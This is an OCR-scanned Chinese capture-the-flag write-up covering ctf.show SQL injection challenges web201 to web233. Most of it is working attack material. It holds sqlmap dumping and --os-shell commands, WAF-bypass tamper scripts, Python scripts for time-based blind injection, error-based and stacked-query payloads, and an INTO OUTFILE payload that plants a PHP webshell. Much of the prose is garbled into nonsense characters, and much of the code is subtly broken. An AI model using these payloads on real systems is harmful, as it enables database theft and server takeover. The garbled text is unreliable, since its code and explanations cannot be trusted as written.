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web201——Sqlmap# i F

=
f§f - -user-agent & Eagent

f§if - -referer Siidrefererfizs

--referer="xxx.xxx" EEreferer

H4--level B Y N3EE 3L L IR R & Xt refereriE A

--user-agent=AGENT f&&UAL
ERIAEML N sqlmapIHTTPiE K Sk FUser-AgentfE&: sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)mlLAEH - -user-agentSHRIEH

[ it BT A FH - - random-agent S HRFENLEIM . /txt/user-agents. txtH3RE. %--level SHkE N3mkE 3L EIRHE, £2AxfUser-
AngentBEITIEAN




feEifreferer. user-agent, AMIIENH:

python sqglmap.py -u "http://ecdbb8c6-b274-44c0-8df5-31e5bc84b40c.challenge.ctf.show:8080/api/?id=1" --referer="c
tf.show" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/8
7.0.4280.88 Safari/537.36"

IR 4 -
python sqlmap.py -u "http://ecdbb8c6-b274-44c0-8df5-31e5bc84b40c.challenge. o 8080/api/?id=1"
tf.show" --dbs

BIRA
python sqglmap.py -u "http://ecdbb8c6-b274-44c0-8df5-31e5bc84b40c.challenge. . 8080/api/?id=1" --referer="c
tf.show" -D "ctfshow_web" --tables

IR B A
python sqglmap.py -u "http://ecdbb8c6-b274-44c0-8df5-31e5bc84b40c.challenge. . 8080/api/?id=1" "c
tf.show" -D "ctfshow_web" -T "ctfshow user" --columns

B TFRER:
python sqglmap.py -u "http://ecdbb8c6-b274-44c0-8df5-31e5bc84b40c.challenge. . 8080/api/?id=1" --referer="c
tf.show" -D "ctfshow_web" -T "ctfshow_user" -C "id,pass,username" --dump

web202——postit 32

data="xx=xx"

B POST R iEHIES I

python sqlmap.py -u "http://cf267a10-7608-4988-ae37-c720b6c546af.challenge.ctf.show:8080/api/" --data="id=1" --n|
eferer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" -C "id,pass,username” --dump

web203—puty ¥

method="xxx

B8 861 (5 P 48 SE IHT TP 5 5 (fm:  PUT)

f$ /- -method="PUT"I}, FE L
headers="Content-Type: text/plain"
BN RAZ R AIRATM, putFEAE]

Setill—F: F_EPUT
python sqlmap.py -u "http://2ef6733e-77e6-4b3f-abf9-25d238el14eb0.challenge.ctf.show:8080/api/index.php" --data="
id=1" --referer="ctf.show" --header="Content-Type:text/plain" --method=PUT

python sqlmap.py -u "http://2ef6733e-77e6-4b3f-abf9-25d238el14eb0.challenge.ctf.show:8080/index.php" --data="id=1]

--referer="ctf.show" --header="Content-Type:text/plain" --method=PUT -D "ctfshow_web" -T "ctfshow user" -C
"id,pass,username" --dump




web204——cookie

X B H Sz H B2 pHPSESSID HI{E BI 7]

python sqlmap.py -u "http://8lacac98-fe05-42db-9346-c3a5el1444b0oc.challenge.ctf.show:8080/api/index.php" --data="
id=1" --referer="ctf.show" --header="Content-Type:text/plain" --method=PUT --cookie="ctfshow=81cc7b688d88eaf21
29bed28ba®490d2 ; PHPSESSID=5nkv4ib51f70egmd7durkad44ol” -D "ctfshow_web" -T "ctfshow_user" -C "id,pass" --dump

web205—— --safe-url
apitA R E LM
153

H, RREEIHARA...
A RI, SIRVFE index.php BI#RS 5514 1] getToken.php A BEAT R FHE R B --safe-urlfli--safe-freq

--safe-url ¥ EENK B fRHLbEET U7 & 8B
--safe-freq ¥ B KA IR BTV 2 S 8E R R

python sqlmap.py -u http://072018ec-73f4-4644-91dd-919b12c33922.challenge.ctf.show:8080/api/index.php --referers
"ctf.show" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://072018ec-73f4-4644-
91dd-919b12c33922.challenge.ctf.show:8080/api/getToken.php --safe-freq=1

python sqlmap.py -u http://072018ec-73f4-4644-91dd-919b12c33922.challenge.ctf.show:8080/api/index.php --referers
"ctf.show" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://072018ec-73f4-4644-
91dd-919b12c33922.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D "ctfshow_web" --tables

python sqlmap.py -u http://072018ec-73f4-4644-91dd-919b12c33922.challenge.ctf.show:8080/api/index.php --referers
"ctf.show" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://072018ec-73f4-4644-
91dd-919b12c33922.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D "ctfshow_web" -T ctfshow_flax --colu
mns

python sqlmap.py -u http://072018ec-73f4-4644-91dd-919b12c33922.challenge.ctf.show:8080/api/index.php --referers
"ctf.show" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://072018ec-73f4-4644-
91dd-919b12c33922.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D "ctfshow_web" -T ctfshow_flax -C fla
gx --dump

web206——
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$sql "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

sqimap#é B sh#EAT F & 3R AF

python sqlmap.py -u http://61d682cb-86bl-47ec-8d92-c76cfbbca3lb.challenge.ctf.show:8080/api/index.php --referers
"ctf.show" --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://61d682cb-86bl-47ec-
8d92-c76cfbbca3lb.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D "ctfshow_web" -T ctfshow_flaxc -C fl
agv --dump

web207——sqglimapH tamperft) {5

XN SHHAT T d I8
function waf($str){

return preg_match('/ /', $str);
)i

1§ F tamperfiil & & BtE A 45
sqlmap -u "xxx" --tamper 'JI#4%"

H WK tamper® :

apostrophemask.py Hutfefi&3sl5

equaltolike.py MSSQL * SQLiterdrlike REFLZS

greatest.py  MySQLH&EdityE’ >’ , FIGREATESTE# KT 5

space2hash.py  ZEEBMA#S BEHLFERFE ULRITH

space2comment.py FI/**/f\BEH

apostrophenullencode.py MySQL 4, 5.0 and 5.5, Oracle 10g, PostgreSQLZuTidiEX 3| S, BFRFMME S
halfversionedmorekeywords.py %4 Amysqlid St B k%, A KEFZATAHMmysqliR4vFid
space2morehash.py  MySQLHZE#E#R AN #5 UKFEZHEIFRE BRITHR

appendnullbyte.p  Microsoft AccessfEA MMM LRI BEMBE X F R
ifnull2ifisnull.py MySQL, SQLite (possibly), SAP MaxDBZEid ¥t IFNULL iIJE
space2mssqglblank.py mssqlZERBHRAHEEHS

base64encode.py  Flbase644whg

space2mssqlhash.py mssqlZEifjrh B s

modsecurityversioned.py mysqlHidiEEH, A& BN EHRRAERE

space2mysglblank.py mysqlHFZEKBREEEAKS




between.py MS SQL 2005, MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0% fbetween&E#H KT E ()
space2mysqldash.py  MySQL, MSSQLE#RZMFRF (*) € - O FEBR—AMWHSER—AFHIIT C n’)

multiplespaces.py  BESeSQLARBEFZHIMBAN T

space2plus.py Fl+ & #a i

bluecoat.py MySQL 5.1, SGOSREZ#EFAFEE — N A BMBENZ B FMHFHISQLIER. AEE#H=Hlike
nonrecursivereplacement.py WEE#IEA. Bflpredefined SQLKHEFwith®/R suitable forZEft

space2randomblank.py  REEHEZERF () N—NFENLKZE Q2R EZFRAERE

sp_password. py iBiNsp_password’ MDBMS H &1 B s AL 326 H 2 EMT KR E

chardoubleencode.py  Xurl4mfd (AL CAGRADE)

unionalltounion.py ##UNION ALL SELECT UNION SELECT

charencode. py Microsoft SQL Server 2005, MySQL 4, 5.0 and 5.5, Oracle 10g, PostgreSQL 8.3, 8.4, 9.0url4fg;

randomcase. py Microsoft SQL Server 2005, MySQL 4, 5.0 and 5.5, Oracle 10g, PostgreSQL 8.3, 8.4, 9.09 LK/
5

unmagicquotes.py  WFFFS4T GPC addslashes
randomcomments.py  F/**/4Elsql kBT
charunicodeencode.py  ASP, ASP.NETH & unicode 4mi%
securesphere.py I8 R B R B
versionedmorekeywords. py MySQL >= 5.1.137FR%E

halfversionedmorekeywords.py  MySQL < 5.1 <BFRIMNIER

X B FH space2comment IXAMHIA, H /o RETH

python sqlmap.py -u "http://b0794719-6551-4d21-a251-e43f8ec@f70e.challenge.ctf.show:8080/api/index.php" --refere
r="ctf.show" --data="id=1" --cookie="PHPSESSID=vv1llcq36ru3v3hnu9qsk4mllub"” --method="PUT" -headers="Content-Type
:text/plain” --safe-url="http://b0794719-6551-4d21-a251-e43f8ecOf70e.challenge.ctf.show:8080/api/getToken.php"
-safe-freq=1 --tamper="tamper/space2comment.py" --dump

XN SHHAT T I8

$id str_replace('select', '', $id);
function waf($str){

return preg_match('/ /', $str);

)i

Ty egiE, WPAK/AME ST, FF randomcase.py , [EFY space2comment.py 45 Lk




python sqglmap.py -u "http://7eef8ecd-a82b-4b48-a844-f5eled529a40.challenge.ctf.show:8080/api/index.php" --refere
r="ctf.show" --data="id=1" --cookie="PHPSESSID=kv10@r87u7hei7ido901@ijafuk"” --method="PUT" -headers="Content-Type

:text/plain” --safe-url="http://7eef8ecd-a82b-4b48-a844-f5eled529a40.challenge.ctf.show:8080/api/getToken.php" -
-safe-freq=1 --tamper="tamper/randomcase.py,tamper/space2comment.py" --dump

web209——tamperit 5

MENK S HEAT T e
function waf($str){
TODO KR5EL

return preg_match('/ |\*|\=/', $str);
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B o/ REZK, WEARHAART . HIEFHMRESHRTTE %0d %0a ... XEARE K
BT =, ATLIERIX AT K, T like FIFETT PSR

AERREBI & B CERNtamperfili 4, FAIE 2K H D& dtamperfi 4
BLE space2comment.py RIEH:



Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

priority - PRIORITY.LOW

def dependencies():

pass

def tamper(payload, kwargs) :

retVal payload

if payload:
retVal "
quote, doublequote, firstspace False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal chr(exed)

continue

elif payload[i] N\ E
quote not quote

elif payload[i] -

doublequote not doublequote

elif payload[i] Tl
retVal+=chr(0x33)
continue
elif payload[i] A
retVval chr(oxed)
continue

and not doublequote and not quote:

elif payload[i] ="
retVal chr(exed)+"'like"+chr(0xed)
continue

retVal payload[i]

return retVal

FIFHIATRAE tamper HRXE

python sqlmap.py -u "http://18434e5e-74ca-4047-95ef-23d56ae4348f.challenge.ctf.show:8080/api/index.php" --refere

" --data="id=1" --cookie="PHPSESSID=3finunl7tadom55hm6of51r2rs" --method="PUT" -headers="Content-Type
:text/plain" --safe-url="http://18434e5e-74ca-4047-95ef-23d56ae4348f.challenge.ctf.show:8080/api/getToken.php" -
-safe-freq=1 --tamper="tamper/web209.py" --dump




web210——

B W P REBEAT R
function decode($id){

return strrev(base64_decode(strrev(base64_decode($id))));

WGP S RBUATCA T« [REE AN E R

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

PRIORITY.LOW

def dependencies():
pass

def tamper(payload, kwargs) :
if payload:
retval=base64.b64encode(payload[::-1].encode())
retval=base64.b64encode(retval[::-1]).decode()
return retval

python sqlmap.py -u "http://6617260a-2607-4258-88d7-1de5d2ae21ff.challenge.ctf.show:8080/api/index.php" --refere
r="ctf.show" --data="id=1" --cookie="PHPSESSID=tlu4lk9res6gl1034div@al89nh" --method="PUT" -headers="Content-Type
:text/plain" --safe-url="http://6617260a-2607-4258-88d7-1de5d2ae21ff.challenge.ctf.show:8080/api/getToken.php" -
-safe-freq=1 --tamper="tamper/web210.py" --dump

web211. 212——

B WA RFBAT IR
function decode($id){

return strrev(base64_decode(strrev(base64_decode($id))));

1
J

function waf($str){

return preg_match('/ /', $str);

Z TSI, FRHAE 2 A BB A & i Sk n b
W A] DA B 4 F sqlmap B # I AN A - -tamper=tamper/web210. py, tamper/space2comment . py



from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

priority__ - PRIORITY.LOW

def dependencies():

pass

tamper(payload, kwargs) :

payload=space2comment(payload)

if payload:
retval=base64.b64encode(payload[::-1].encode())
retval=base64.b64encode(retval[::-1]).decode()

return retval

space2comment (payload, kwargs) :

retVal SENACET)

if payload:
retVal i

quote, doublequote, firstspace False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal chr(exed)

continue

elif payload[i] N\ E
quote not quote

elif payload[i] -

doublequote not doublequote

elif payload[i] Tl
retVal+=chr(0x33)
continue
elif payload[i] A
retVval chr(oxed)
continue

and not doublequote and not quote:

elif payload[i] ="
retVal chr(exed)+"'like"+chr(0xed)
continue

retVal payload[i]

return retVal

python sqlmap.py -u "http://5459eldc-eb90-49c9-b4c6-4a1d16c64159.challenge.ctf.show:8080/api/index.php" --refere
r="ctf.show" --data="id=1" --cookie="PHPSESSID=n5f53ua30b76gqhn@f182hr6bsu"” --method="PUT" -headers="Content-Type
:text/plain” --safe-url="http://5459eldc-eb90-49c9-b4c6-4ald16c64159.challenge.ctf.show:8080/api/getToken.php" -
-safe-freq=1 --tamper="tamper/web211.py" --dump




web213——--0s-shell

M - -0os-shell —fgetshell

W R BT R
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));

1
J

function waf($str){
return preg_match('/ |\*/', $str);

os-shell
python -u "URL" os-shell

SRR B -
Hlinto outfile & 0 — AN LLAIR L4 php X EBIMBMIRERT, 258 BN, XANMXHTUARMTRE RS,
It EL¥s 45 3R [ i R

os-shellff & i &4

(1) M3k 05 2 2 root A B

(2) Ty 75 22 0000 I 3 1) 45 5 2% 4%
(3) GPCHoff, phpxah¥ XK ThRE<HA

python sqlmap.py -u "http://ba742a43-b061-42c2-9865-57658504a396.challenge.ctf.show:8080/api/index.php" --refereg
r="ctf.show" --data="id=1" --cookie="PHPSESSID=ovom2eutllttq7vOudfo8ns8is"” --method="PUT" -headers="Content-Type
:text/plain" --safe-url="http://ba742a43-b061-42c2-9865-57658504a396.challenge.ctf.show:8080/api/getToken.php" -

-safe-freq=1 --tamper="tamper/web211.py" --dump --os-shell

web214—f B 5. sleep



XEEN ESBS, EAMEZNE TR, BFIMENEE, RIIEN SR /api/index.php TH ip 5 degbug &b
RARBRERERZ (why?)

LOAD SPLIT EXECUTE TEST ~ sqQLl -~

URL
http://1dd8b8b5-af69-47ef-be66-efbdf4c579a8.challenge.ctf.show:8080/api/index.php

enctype

Enable POST application/x-www-form-urlencoded

Ip:Spr(s)&dEbuQ=O https:/iblog.csdn.netiweixin_45669205

WK — TR Lk
RIEENBIEMA

import requests
import sys
import time
url="http://1dd8b8b5-af69-47ef-be66-efbdf4c579a8.challenge.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-,{}"
WEE
for i in range(100):
for j in letter:

payload="if((select group_concat(flaga) from ctfshow_flagx ) like '{}%',sleep(0.5),0)".format(flag+j)
data={
'ip':payload,
'debug’ :0
b
strat_time=time.time()
res requests.post(url=url,data=data).text
end_time=time.time()

if (end_time - strat_time 0.5):
flag+=j
print(flag)
break
"} == 3

sys.exit()

web215—¥} [ 5 1.

H&eE—T5%5:




ip=1"' or sleep(5) debug=0

url="http://15b2ff23-7f7f-4d49-ac99-f697df4b30c3.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{}"
flag=""
for i in range(100):
for j in letter:

payload=""' or if((select group_concat(flagaa) from ctfshow_flagxc ) like '{}%',sleep(0.6),0)-- +".format|

(flag+3)
data={
'ip':payload,
'debug’ :0

1
J

strat_time=time.time()
res = requests.post(url=url,data=data).text
end_time=time.time()

if (end_time - strat_time 0.6):
flag+=j
print(flag)
break
if "} R
sys.exit()

web216—f A 5. sleep
where id - frombaseed($id);

REHBREERNRIE, $id MERN] post FTiEAK ip (RIEACEARED
BMARERBNEAHTbasebd N, XHMEHRKSRATRE, MPITAT <. FTUEMAE from_base6s() X4
KK )

it : 'MQ==') or sleep(2) -- -
TEsqiZHA]H: where id=from_base64('MQ==') or sleep(2) -- -



url="http://f1lb3becc-7f3c-4566-a755-89159b2de3fe.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{_}"
flag=""
for i in range(100):
for j in letter:

payload="'MQ==") or if((select group_concat(flagaabc) from ctfshow_flagxccb) like '{}%',sleep(0.15),0)--

-".format(flag+j)
data={
'ip':payload,
'debug’ :0

try:
res requests.post(url=url,data=data,timeout=0.15).text
except:
flag+=j
print(flag)
break
if "} R
sys.exit()
time.sleep(0.2)

time.sleep(1)

web217—if A §7 . benchmark



import requests
import sys
import time
url="http://f1lb3becc-7f3c-4566-a755-89159b2de3fe.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{_}"
flag=""
for i in range(100):
for j in letter:

payload="1) or if((select group_concat(flagaabc) from ctfshow_flagxccb) like '{}%',benchmark(1000000,md5|
(1)),0)-- -".format(flag+j)
data={
'ip':payload,
'debug’ :0

try:
res requests.post(url=url,data=data,timeout=0.4).text
except:
flag+=j
print(flag)
break
if "y" j:
sys.exit()
time.sleep(0.2)
time.sleep(1)

web218—F A HiE. HFRE

MyS QLI 8] 15 ¥ To ol SE i 777 9%

HRRR (ZREEEH (FAERRE—MREFENKERE)
AxB=-AFIBHHEN TR AGHIARNES, MREER

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables

select from table_name A, table_name B
select from table_name A, table_name B, table_name C
select count(*) from table_name A, table_name B, table_name C RA[LLEF—FKEK



https://www.cnblogs.com/forforever/p/13019703.html

url="http://6b39c9d3-3c24-432b-abfd-735534f0e5cf.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{_}"
flag=""
for i in range(100):
for j in letter:

payload="1) or if((select group_concat(flagaac) from ctfshow_flagxc) like '{}%', (select count(*) from in
formation_schema.columns A, information_schema.columns B),0)-- -".format(flag+j)
data={
'ip':payload,
'debug’ :0

try:

res requests.post(url=url,data=data,timeout=0.15).text

except:
flag+=j
print(flag)
break

if "} R
sys.exit()

time.sleep(0.2)

time.sleep(0.2)

web219— A HE. HERE



import requests
import sys
import time
url="http://726afb2c-394b-4b9d-97b3-7e40fb5a8f53.challenge.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{_}"
flag=""
for i in range(100):
for j in letter:

payload="1) or if((select group_concat(flagaabc) from ctfshow_flagxca) like '{}%"', (SELECT count(*) FROM
information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.sc
hemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information
schema.schemata I),0)-- -".format(flag+j)
data={
'ip':payload,
'debug’ :0

try:

res requests.post(url=url,data=data,timeout=3.5).text
except:

flag+=j

print(flag)

break
if "} j:

sys.exit()

time.sleep(1)
time.sleep(1)

web219. 220— A EE. HERH

ZHJLIR:




import requests
import sys
import time
url="http://828a992a-1f47-4eff-9870-a9e2a0b25b30.challenge.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopgrstuvwxyz-,{}"
flag="ctfshow{45835205-bd93-40ff-9d71-"
for i in range(14,100):

for j in letter:

payload="1) or if((select flagaabcc from ctfshow_flagxcac) like '{}%',(SELECT count(*) FROM information
schema.columns A, information_schema.columns B),1)-- -".format(flag+j)
data={
'ip':payload,
'debug’ :0

try:

res requests.post(url=url,data=data,timeout=0.15).text
except:

flag+=j

print(flag)

break
if "} R

sys.exit()

time.sleep(0.3)
time.sleep(0.3)

web221——LimitiE A

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
Mysql FEAZ limit 7 FEA
MySQL#| F procedure analyse() &1L £ 414

Limit/5 [ B & procedure analyse, analysed ] —ANSHEHIREENER (FOVXBREBEE, BN7]LAER)



https://www.jianshu.com/p/6c1420a7a7d9

updatexml( H¥rxm13CH%, xmlEgfE, EFHINE) : B HxmlICAY ek £
http://5da72104-36e8-4262-b1l0a-f36dfb61960d.challenge.ctf.show:8080/api/?page=1&1imit=7 procedure analyse(update
xml(1,concat(0x7e,database(),0x7e),1),1)

extractvalue( HARxml3ZhY, xmlESAR) : SHXMLICRYBEAT 25 ] B B 3
http://5da72104-36e8-4262-b1l0a-f36dfb61960d.challenge.ctf.show:8080/api/?page=1&1imit=7 procedure analyse(extrac
tvalue(1,concat(@x7e,database(),0x7e)),1)

web222——group by i A

$sql = select * from ctfshow_user group by $username;

floor(J R E&FEA

HR ERBEEER, RATEEZBAEERK, {#HHsleep()iER ...
BEEANF & 5REME S, F3E K. FTUENNSERE A8 (TRERA ...
B A~ T

1,concat(if(1=1,id,username),1);


https://www.secpulse.com/archives/140616.html

import requests
import time
url="http://a959c812-c068-4bb3-9355-20fb1f12b30a.challenge.ctf.show:8080/api/"

flag=""
for i in range(1,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=="}":
exit()

break

payload="select flagaabc from ctfshow_flaga"

params={'u':f"concat((if(ascii(substr(({payload}),{i},1))<{mid},id,username)),1);"}
print(params)

r=requests.get(url=url, params=params).text

if '17' in r:
max=mid
else:
min=mid

web223——

ﬁ#ﬁ?ﬁ?: A H True 5[%&%3&?

if(1-1,id,'a")




import requests
import time
url="http://3691bfd7-41c3-4950-8636-7581b9dec6a7.challenge.ctf.show:8080/api/index.php"’

res
if i
return "true"
else:
for w in range(i-1):
res "+true"

return res

i in range(1,100):
min=32
EVEN WX
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=="}":
exit()
break

sql="select group_concat(flagasabc) from ctfshow_ flagas"
payload="if(ascii(substr(({}),{},{}))<{},id,'a")".format(sql,num(i),num(1),num(mid))

params={ 'u':payload}
print(params)

r=requests.get(url=url, params=params).text
print(r)

if '17' in r:
max=mid
else:
min=mid

web224—— B EAN




XRIRLARSqQUEN? Bale, RIEAWIX AR, fuzzK i T2 &E k%, Zikwwwzp gitS¥EE R RAREME, P
BAE RN, BT RENERES MIEH Mrobots 3 #F

User-agent: *
Disallow: /pwdreset.php

Filename: | 3323048 | SsiEaEns

Submit

VIR EEFY, SRBINEEN X LA
EHRFBEAMWARE, KBRIXFLZEN
THE: REREHEAN

SR AR IR, RCHEA BT KR!

insert into column(name, type, lineFeed) values ($filename, $filetype, $filelinefeed);

AR SE R EWIE A2
$sql "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."',"'".$filepath.""',"'".$filetype.""'

B A &insert, K{EEE Nexif:
xxx"');select Ox3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php";

HH, Ox3C3F3D60245F504F53545B305D603B&<?="$_POST[0] ; MI163kH
XFEB —HIES N T 1. phpX, VA B AT

B A payload.bin3tf, LAERIATsEH Lk

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

[x ﬂ Elements Console Sources Metwork Performance Memaory Application Lighthouse

LOAD SPLIT EXECUTE TEST ~ sqQLl - LFI -~

URL
http://34d77691-5ecf-44bd-83b2-30b9dfa30077.challenge.cif.show:8080/1.php?1=ls /

web225——Handler. iAbH


https://www.gem-love.com/ctf/2283.html#%25E4%25BD%25A0%25E6%25B2%25A1%25E8%25A7%2581%25E8%25BF%2587%25E7%259A%2584%25E6%25B3%25A8%25E5%2585%25A5

fifick SR ACL B 190 R X i 58 3 0 7

DA

$sql "select id,username,pass from ctfshow_user where username = '{$username}';";

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){

die(json_encode($ret));
1
J

HANDLER:

mysqlBX Bl i f select&E HW R F M HIH, Lol Hhandlerizf), XA BAMERMNESE —T—THNE -—ANARPOHE, St
handlerig A 3 A~ R & selectiZ A M A ThAE. ERmysqlE HKiER, HFERAELSBISQLFARES .

/api/?username=";show tables;-- -

/api/?username=";handler " ctfshow_flagasa  open;handler "ctfshow flagasa  read first;-- -

Tk -

/api/?username=";PREPARE DMIND from concat('selec','t * from ctfshow_flagasa');EXECUTE DMIND;-- -

FIFconcat() k&t B4

web226——16 i 58 13 7F 5 FR

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)

M

die(json_encode($ret));

}

HER ((RHSEN, XE—FH (B THRENNTHET . BREHEERBHK, FRERES ZIE R L1635 2
AEE ) concat()



Z HTHIE E R 163k i g2l 515 KPR K], 7EIX B FIRE AT LAk SR Ge 36 5 BBR )

16IEFIEERIIA | oz 16t

select group_concat(table_name) from information_schema.tables where 73656c6563742067726175705f6366e636174287461626c655(6e616d65292
table_schema=database() TGP > > 066726f6d20696e666f726d6174696f6e5736368656d612e7461626c657320

77686572652074616260655(736368656d613d64617461626173652829
163 > >

X B EERA 16 I el R A AT E R N6 K, X EBEES. . (B A~ M

¥h: https://www.bejson.com/convert/ox2str/ )

HEERIX AN P 3 « https://www.sojson.com/hexadecimal.html

/api/?username=userl’ ;prepare DMIND from
OXx73656c6563742067726175705f63616e636174287461626c655F6e616d6529206672616d20696e6661726d6174696F6e5F736368656d61

2e7461626c6573207768657265207461626c6551736368656d613d64617461626173652829; execute DMIND;-- -

BERERLBEETRYL, RERHTFRER

web227——information_schema.routines & & 7% i 75 F1 56 %

i T ALK R B A R Bflag. ..
XK LR —ES R, SEEHK LR
ZH 2 BEmysqlET 2N g
MySQL——&F 7 i L A 1 2R £
mysqlf7fif i FE N R $ e 45

£ MySQL 1, 7t EMEH NS BHFMAE information_schema $t3E T 9 Routines &

HilEE:
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME =’ sp_name ’;

3, ROUTINE_NAME 5~ Bt b 77 fif 1) 2 17 £t 1 72 10 B 200 42 7R ; sp_name 2 0% 75 77 il 1 T2 B iR J i 42 75


https://blog.csdn.net/qq_41573234/article/details/80411079
https://blog.csdn.net/uftjtt/article/details/80435520

FrABRATTE R information_schema.routines &

select * from information_schema.routines 736560656374202a2066726f6d20696e6661726d6174696f6e5736368656d6
s Rl 10672617574696e6573

163 FITE >>

{"code™0,"msg":"\u67e5\u8be2\u6210\u529f", "count":1,"data":[{"id":"2","username":"user1","pass":"111"},
{"SPECIFIC_NAME":"getFlag","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"ctfshow_web",’ ROUTINEiNAME":"getFIag",[ROUTINE7WPE": 'PROCEDURE"|"DATA TYPE":"","CHARACTER _
\"cttshow{0d3499¢3-cba8-48f7-89c4
286903155a8e/\"\n\tEND","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS

SQL","SQL PATH":null,"SECURITY_TYPE":"DEFINER","CREATED":"2021-03-17 08:00:37","LAST_ALTERED":"2021-03-17

08:00:37","SQL_MODE":"STRICT TRANS TABLES,ERROR_FOR DIVISION BY ZERO,NO_AUTO_CREATE USER,NO_ENGINE_SUBSTITUTION","ROUTINE_COMMENT":"","DEFINER":"root@l|oca
{"SPECIFIC_NAME":"AddGeometryColumn","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"AddGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DATA T
set @awe= concat('ALTER TABLE ', t schema, ", t hame, ' ADD ', geometry column,’ GEOMETRY REF SYSTEM ID=", t srid): PREPARE Is from @awe: execute |s: deallocate prepare Is:

[ (] | Eements Console Sources Network Performance Memory  Application  Lighthouse  Security HackBar
LOAD SPLIT EXECUTE TEST ~ saLl -~ Xs8s -~ LFl ~ S§STI ~ ENCODING ~ HASHING ~

URL

http://117f2b93-88e2-40fc-9550-2e111cc4b90a.challenge.ctf.show:8080/api/?username=user1’;prepare DMIND from
0x73656c656374202a2066726f6d20696e6661726d6174696f6e5f736368656d612e726f7574696€6573; execute DMIND;#

E15 HflaghiiRiE T 4N getFlag M E R E
L8R, BATTLMEA call AREMEERE: call getFlag() BPF]

web228. 229. 230——

Flweb226

web231. 232——updatei: A

"update ctfshow_user set pass = '{$password}' where username = '{$username}’;"

password=user',username=now() where 1=1#&username=1
B

update ctfshow user set pass = 'user',username=now() where 1=1# ......




http://716fe725-ea36-43b5-a6¢c9-d337f6a91aae.challenge.ctf.show:8080/api/

enctype
Enable POST application/x-www-form-urlencoded

Body
password=user',username=now() where 1=1#&username=1

BHLER: (WA LLREupdate.php REHER) KA A —HKE

{"code™0,"msg":"\ub7e5\u8be2\u6210\u529f","count":"21","data":[{"id":"1","username":"2021-03-17 09:29:40","pass":"user"},
{"id":"3","username":"2021-03-17 09:29:40","pass":"user"},{"id":"4","username":"2021-03-17 09:29:40","pass":"user"} {"id":"5","
{"id":"6","username™:"2021-03-17 09:29:40","pass™:"user"} {"id":"7","username™:"2021-03-17 09:29:40","pass™:"user"},{"id":"8"’
{"id":"9","username":"2021-03-17 09:29:40","pass":"user"},{"id":"10","username":"2021-03-17 09:29:40","pass":"user"},{"id":"11
{"id":"12","username":"2021-03-17 09:29:40","pass":"user"} {"id":"13","username":"2021-03-17 09:29:40","pass":"user"},{"id":"1
{"id":"15","username":"2021-03-17 09:29:40","pass":"user"},{"id":"16","username":"2021-03-17 09:29:40","pass":"user"},{"id":"1
{"id":"18","username":"2021-03-17 09:29:40","pass":"user"},{"id":"19","username":"2021-03-17 09:29:40","pass":"user"},{"id":"2
{"id":"21","username™:"2021-03-17 09:29:40","pass":"user"}]}

[w ﬂ Elements Console Sources Network Performance Memaory Application Lighthouse Security HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl -~ Xss - S SSTI -~ ENCODING ~ HASHING ~

URL
http://716fe725-ea36-43b5-a6c9-d337f6a91aae.challenge.ctf.show:8080/api/?page=1&Ilimit=100

B:E Eusername AL B BUREATH &5 4]«

password=user',username=(select group_concat(table_name) from information_schema.tables where table_schema=datab
ase()) where 1=1#&username=1

password=user',username=(select group_concat(column_name) from information_schema.columns where table name='flag
2') where 1=1#&username=1

password=user',username=(select flagas from flaga) where 1=1#&username=1

web233——

EEBweb23 1R, HiZH BB ERRNRERET
